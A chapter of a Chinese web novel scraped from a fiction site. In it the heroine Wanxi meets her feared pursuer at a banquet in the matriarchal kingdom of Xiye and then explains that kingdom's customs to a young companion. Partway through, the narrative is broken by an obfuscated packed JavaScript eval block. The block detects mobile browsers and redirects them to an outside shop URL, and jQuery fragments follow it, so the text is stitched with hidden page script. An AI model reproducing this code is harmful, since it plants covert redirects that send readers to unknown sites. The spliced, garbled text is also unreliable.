文趣网 > 都市小说 > 男二他拿了男主剧本 > 16. 意外重逢
    菀夕和谢轻尘直勾勾地盯了过来,弄得林秀秀有点心虚。她连忙摆着手辩白:“不是那种花楼……”

    她断断续续,说得颠三倒四,众人听了个大概。

    这小丫头人小鬼大,嫌府中太无聊,又等得不耐烦,便自己溜了出去。一路上左看右看,十分新鲜。待行至一处装潢精美的朱楼,见女客频频进出,以为是什么好玩的地方,便也好奇地跟了进去。

    陈默双手抱臂,黑着脸道:“那里面吹啦弹唱、饮酒作乐,根本不是正经人应该去的地方。”随即想到了什么,脸色一红,欲言又止。

    林秀秀心虚地低下头,眼神躲闪。

    既已寻到人,菀夕便放下心,又在城中逛了一圈,快到晌午方赶回赴宴。

    素衣女官前来通传,姜戎单独邀请菀夕和谢轻尘前去花厅。其余人等自行留在敞厅就座。

    花厅设在一处地势颇高的所在,山泉溪流顺势而下,激起飞珠溅玉。有些落花顺着溪水漂流而过,暗香盈盈。青色的帘幕近乎透明,宛如一片薄薄的雾气,光线照射下来,明灭可见绣着花朵的图案,正是树莲的纹样。

    姜戎换了一身便衣,整个人的气势温和了许多。

    她瞧见菀夕对帘幕上的花纹颇感兴趣,解释道:“这是我们西夜国的神木之花,叫做星莲,因为开在树上,百姓们也称其为‘木生莲’或是‘树莲’。”随即有些惋惜道,“我府里也种了一棵,可惜这里的土壤不太适宜,竟不如寻常百姓门前屋后长得茂盛,至今仍未开过花。”

    菀夕顺着她的视线望去,这才发现水榭旁的花坛里,种着一棵枝叶稀疏的树木,挺拔的银灰色枝干上零星有几个花骨朵,风一吹,簌簌的往下掉,仿佛当面证明姜戎所言非虚。

    谢轻尘沉默半晌,开口道:“或许是因为这里临近水榭,树根吸收的水分太多,底下的根须已经烂掉。”

    菀夕&姜戎:……

    好有道理,她之前在现代养的绣球花就因为浇水太多死了一盆又一盆。

    谢轻尘交流姜戎分享起种树养花的经验,菀夕微感意外。她没有想到谢轻尘身为皇子,对这种事也有一番见地。

    见他们聊的火热,她独自回到座位上,端起茶杯,浅啜一口。无意间发现桌子上有四副碗筷,座位也多出一个。

    姜戎还邀请了其他人吗?她想起在他们之前接见的那位神秘客人。

    思绪忽地被一句熟悉的声音打断,三分慵懒,七分桀骜。“还没开席么,难不成在等我?”

    一人身着黑色华服,步履沉稳,拾阶而上。他伸出手拂开帘幕,整个人如同一柄肃杀的剑,从青色烟雾中穿过,斩断了落花照水的温柔。

    亭角上丝线所系的金铃,随着他的经过,发出一声悦耳的脆响。那声音,落在菀夕心中却如平地惊雷。

    她不可置信地看着来人。那张在噩梦里出现的脸,竟如此真切地出现在她面前,甚至在她对面坐下。

    北稷武为何会出现在这里?

    他现在不应该在大胤皇城里日夜忙碌,与反对他的大臣们斗智斗勇吗?

    菀夕下意识地想要逃离,可双腿却有些发软,手上一个脱力,茶杯一骨碌掉落在地,摔碎了。

    姜戎和谢轻尘都看了过来。

    谢轻尘递来一方素帕,姜戎语气随意道:“碎碎平安。来人,换上新的杯子。”随即端起酒壶,看向北稷武,“姬公子,你来迟了,理应自罚三杯。”

    姬公子?

    菀夕眸中闪过一丝疑惑。

    与她的惊慌失措不同,对面那人却是气定神闲。

    菀夕忽地想起那道毒蛇般阴冷的目光,顿时心中了然。她去面见姜戎时察觉到的那道目光,就是他。

    他早就知道自己在这儿。

    菀夕低下头,拿起一双筷子麻木地夹起最近的菜,入口却味同嚼蜡。

    今日这桌酒席还真是热闹,西夜女将、东蔺皇子,大胤摄政王,再加上她一个永安郡王亲使。简直是群英荟萃,煮酒论英雄,脑海中不由闪过曹老板与大汉第一魅魔的画面。

    菀夕有一个习惯,极度紧张的时候就会胡思乱想。她低着头,微微抿唇,心里的紧张冲淡了许多。

    再次抬起头,已经恢复了平静淡然。

    这里是西夜,不是大胤。他们都是姜戎的客人,既然他并未捅破,那她也没必要自乱阵脚。

    这么想着,心里稍微安定了些。

    姜戎正向北稷武介绍他们,她隐去了谢轻尘的皇子身份,只说他是永安郡王萧怀的好友。

    “这位。”姜戎看向北稷武,顿了一下,“是来自大胤的使者。”

    北稷武微微侧目,“在下,姬云燃。”

    他毫不掩饰地看向菀夕,眼神中闪过一丝玩味:“元主事很像我认识的一个人。”

    “是么。”

    见她无动于衷,北稷武慢悠悠地开口:“她是我府里的婢女,后来犯了错私自逃走。”随即意有所指地看向她,眼神中闪过一丝阴鸷,唇角却是微微上扬,“我早晚会把她抓回来。”

    搁这儿指桑骂槐呢。菀夕眼皮微动,在心里“哦”了一声。

    这顿饭因着北稷武的存在,菀夕兴致乏乏,只稍微动了几筷。用罢饭姜戎客套一番让她多留一会儿,她婉言拒绝。

    水声潺潺,她快步离席,只想离那人远一些。

    身后传来脚步声,她深吸一口气,酝酿着如何讥讽,却听见是谢轻尘的声音。“菀夕,一起走。”

    两人便一同离开,从背影上看,好似一双璧人。

    北稷武紧握着酒杯,眼神中浮现出一抹阴郁,浓得像化不开的墨色。

    菀夕回到住处,又吃了一些从铺子里买的点心,酥皮里裹着流沙的甜咸口感,倒是别有一番风味。

    林秀秀递上一杯热茶,随即在一旁的椅子上托着腮,脑海中回忆着自己看到的奇异场景。

    她忍不住分享:“元姐姐,花楼里面竟然都是俊俏的男子奏乐起舞……”

    菀夕一愣,随即意识到了什么。淡淡道:“在这里不算奇怪。男人和女人,本来就只是一种处境。”

    林秀秀满眼疑惑,她还不太懂这是什么意思。

    菀夕弯了弯眼睛,没说话。

    她带着林秀秀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815524|211043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来到城中,挨家挨户拜访商户店铺,主动赠送商队带来的商品,让她们试着寄售一下,收益全归她们所有。

    上午她观察过了,城中店铺里受欢迎的商品与外面很不一样。

    萧怀本以为胭脂水粉首饰会大受欢迎,可菀夕调研之后,才发现这里的女子对外貌并没有特别上心。

    她们是家里的主事人,要读书做官打理生意或是亲自劳作,并无太多闲情逸致研究如何变得更娇媚动人。反倒是男子们会更注重自己的形象。

    路上可见一些小郎君干净清爽,头发胡子都打理的一丝不苟,就连衣服也是簇新的,折痕清晰。看上去颇为养眼。

    菀夕只得命人回报萧怀,多准备一些文房四宝书籍器物等实用货物,但材质设计要符合女子审美。

    见林秀秀茫然不解,菀夕只得向她耐心解释。

    在西夜国的神话里,创世神是一位女神。她生于水中莲花,陨落时留下一棵大树,年年花开不败,庇护西夜子民。

    西夜国内,路上随处可见的树莲,就是那棵大树的种子长成的。

    因而西夜是母系传承的国家,最大的掌权者被称为“明皇”。上至皇帝,下至官吏百姓,都是女子主事,男子则负责家族内务,教养家族中的后代。

    西夜国的男女成年后大多自由恋爱,她们情之所至,便自行相好。

    女子一旦有孕,便会抱回家族。男子是孩子的生父,却并不需要负责抚养孩子。他们要负责的,是自己家族中女性的孩子。是以对西夜人来说,较之生父,她们往往更亲近舅舅。

    各行各业都有男子参与劳作,但他们往往没有什么话语权,也习惯了保持沉默。

    在家族眼中,一个男子的荣耀是能严格要求自身,洁身自好,勤劳自谦。在外,能获得心仪女子的青睐;在内,要承担家族中一应劳作,勤恳持家。这才是一个合格的西夜男儿。

    没有姐妹或是家族庇护的男子下场都会很惨,这意味着他们无法延续血脉。年轻时尚可凭借姿色或力气讨一口饭吃,年老之后,便是孤苦无依,即使有亲生儿女,对方恭敬供养的也是舅父,而非生父。

    是以西夜国家家户户,都有生女儿的执念和追求。

    菀夕来的路上已经有所耳闻,而且她也在现代看过一些类似的设定,所以并不惊讶,只是颇觉有趣。

    但这里的一切,对林秀秀冲击极大。

    在她的世界观里,男女之间无媒苟合是要浸猪笼的;

    女子生下孩子,孩子是要冠上男方姓氏,归属于男方家族,死后也供奉于男方家祠堂;

    朝堂上参政议事的,是男子。女子插手国事是干政,是逾矩;

    学堂里读书的是男子,学富五车知识渊博的是男子。女子多读几本书些许识得几个字便足矣,无需也不能考取功名。倒是可以红袖添香,为男子增添一些雅趣;

    青楼里卖笑的都是女子,就算有兔儿爷,也是为男子服务;

    建功立业的是男子,女子是点缀,是爱恨传奇里的薄命红颜。

    她忍不住喃喃道:“元姐姐,这里的一切都好奇怪啊。”